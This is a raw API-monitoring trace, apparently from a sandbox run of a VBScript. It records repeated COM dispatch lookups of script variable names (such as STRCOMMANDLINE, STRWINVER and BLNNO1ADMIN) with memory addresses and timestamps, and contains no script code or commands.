pid=0x154d38*=1396256) returned 0x80020006 [0088.688] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRCOMMAND", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.688] GetCurrentThreadId () returned 0xd44 [0088.688] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.688] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.688] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRCOMMANDLINE", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.688] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRCOMMANDLINE", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.688] GetCurrentThreadId () returned 0xd44 [0088.688] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.688] malloc (_Size=0x1004) returned 0x847d748 [0088.689] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.689] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRCOMSPEC", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.689] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRCOMSPEC", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.689] GetCurrentThreadId () returned 0xd44 [0088.689] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.689] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.689] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRCSDVER", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.689] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRCSDVER", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.689] GetCurrentThreadId () returned 0xd44 [0088.689] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.690] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.690] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRFILE", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.690] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRFILE", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.690] GetCurrentThreadId () returned 0xd44 [0088.690] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.690] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.690] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRFILEVER", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.690] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRFILEVER", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.690] GetCurrentThreadId () returned 0xd44 [0088.690] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.691] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.691] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRDEBUGLOG", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.691] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRDEBUGLOG", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.691] GetCurrentThreadId () returned 0xd44 [0088.691] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.691] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.691] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRFIRSTLETTER", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.691] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRFIRSTLETTER", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.691] GetCurrentThreadId () returned 0xd44 [0088.691] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.692] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.692] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRHELPALL", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.692] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRHELPALL", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.692] GetCurrentThreadId () returned 0xd44 [0088.692] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.692] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.692] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRHELPLONG", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.692] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRHELPLONG", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.692] GetCurrentThreadId () returned 0xd44 [0088.692] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.692] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.693] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRHELPSHORT", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.693] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRHELPSHORT", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.693] GetCurrentThreadId () returned 0xd44 [0088.693] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.693] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.693] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRHEAD", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.693] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRHEAD", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.693] GetCurrentThreadId () returned 0xd44 [0088.693] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.694] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.694] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRHTML", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.694] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRHTML", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.694] GetCurrentThreadId () returned 0xd44 [0088.694] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.694] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.695] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRMSG", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.695] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRMSG", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.695] GetCurrentThreadId () returned 0xd44 [0088.695] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.695] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.695] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRNUMVER", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.695] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRNUMVER", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.695] GetCurrentThreadId () returned 0xd44 [0088.695] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.695] realloc (_Block=0x1197838, _Size=0x200) returned 0x11a9dd0 [0088.695] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.696] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STROSLOCL", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.696] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STROSLOCL", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.696] GetCurrentThreadId () returned 0xd44 [0088.696] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.696] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.696] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRPATTERN", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.696] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRPATTERN", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.696] GetCurrentThreadId () returned 0xd44 [0088.696] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.696] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.696] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRPREVIOUSLETTER", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.696] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRPREVIOUSLETTER", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.696] GetCurrentThreadId () returned 0xd44 [0088.696] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.696] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.697] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRSCRIPTENGINE", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.697] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRSCRIPTENGINE", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.697] GetCurrentThreadId () returned 0xd44 [0088.697] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.697] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.697] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRSCRIPTPATH", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.697] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRSCRIPTPATH", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.697] GetCurrentThreadId () returned 0xd44 [0088.697] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.697] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.697] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRSCRIPTVER", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.697] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRSCRIPTVER", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.697] GetCurrentThreadId () returned 0xd44 [0088.697] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.697] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.698] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRUNKNOWNCOMMAND", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.698] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRUNKNOWNCOMMAND", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.698] GetCurrentThreadId () returned 0xd44 [0088.698] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.698] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.698] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRWINVER", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.698] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRWINVER", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.698] GetCurrentThreadId () returned 0xd44 [0088.698] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.698] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.698] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="ARRHELPWIN1", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.698] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="ARRHELPWIN1", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.698] GetCurrentThreadId () returned 0xd44 [0088.699] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.699] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.699] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="ARRHELPWINC1HR1", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.699] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="ARRHELPWINC1HR1", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.699] GetCurrentThreadId () returned 0xd44 [0088.699] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.699] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.699] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="ARRI1NTCMD", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.699] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="ARRI1NTCMD", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.699] GetCurrentThreadId () returned 0xd44 [0088.699] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.699] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.700] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="ARRT1EMP", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.700] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="ARRT1EMP", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.700] GetCurrentThreadId () returned 0xd44 [0088.700] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.700] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.700] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="DICH1ELPLONG", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.700] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="DICH1ELPLONG", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.700] GetCurrentThreadId () returned 0xd44 [0088.700] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.700] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.700] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="DICHELPS1HORT", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.700] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="DICHELPS1HORT", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.700] GetCurrentThreadId () returned 0xd44 [0088.701] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.701] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.701] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="DICSYST1EMFILES", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.701] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="DICSYST1EMFILES", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.701] GetCurrentThreadId () returned 0xd44 [0088.701] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.701] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.701] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="BLNAD1DITIONAL", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.701] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="BLNAD1DITIONAL", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.701] GetCurrentThreadId () returned 0xd44 [0088.701] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.701] realloc (_Block=0x1198da8, _Size=0x280) returned 0x844c5d0 [0088.702] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.702] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="BLN1DEBUG", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.702] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="BLN1DEBUG", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.702] GetCurrentThreadId () returned 0xd44 [0088.702] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.702] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.702] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="BLNDEB1UGLOG", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.702] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="BLNDEB1UGLOG", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.702] GetCurrentThreadId () returned 0xd44 [0088.702] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.703] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.703] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="BLNIGNOR1EBATCH", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.703] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="BLNIGNOR1EBATCH", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.703] GetCurrentThreadId () returned 0xd44 [0088.703] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.703] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.703] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="BLNNO1ADMIN", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.703] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="BLNNO1ADMIN", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.703] GetCurrentThreadId () returned 0xd44 